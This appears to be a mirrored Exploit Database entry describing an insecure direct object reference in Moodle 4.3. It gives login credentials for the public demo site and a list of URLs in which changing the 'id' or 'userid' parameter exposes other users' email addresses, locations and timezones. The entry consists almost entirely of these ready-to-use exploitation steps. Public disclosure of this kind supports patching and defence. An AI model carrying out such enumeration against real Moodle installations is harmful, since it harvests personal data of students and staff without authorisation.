Moodle 4.3 – Insecure Direct Object Reference

• Exploit Database
• 111 阅读

• 作者： tmrswrr
  日期： 2024-02-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51820/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  # Exploit Title: Moodle 4.3 'id' Insecure Direct Object Reference (IDOR) # Date: 20/10/2023 # Exploit Author: tmrswrr # Vendor Homepage: https://moodle.org/ # Software Demo: https://school.moodledemo.net/ # Version: 4.3+ # Tested on: Linux     Vulnerability Details ======================   Steps :   1. Log in to the application with the given credentials > USER: teacher PASS: moodle 2. In profile.php?id=11, modify the id Parameter to View User details, Email address, Country, City/town, City, Timezone 3. Change the existing "id" value to another number   https://school.moodledemo.net/user/profile.php?id=4 https://school.moodledemo.net/user/profile.php?id=5 https://school.moodledemo.net/user/profile.php?id=10 https://school.moodledemo.net/user/profile.php?id=50   https://school.moodledemo.net/blog/index.php?userid=3 https://school.moodledemo.net/blog/index.php?userid=14   https://school.moodledemo.net/mod/forum/user.php?id=53 https://school.moodledemo.net/mod/forum/user.php?id=50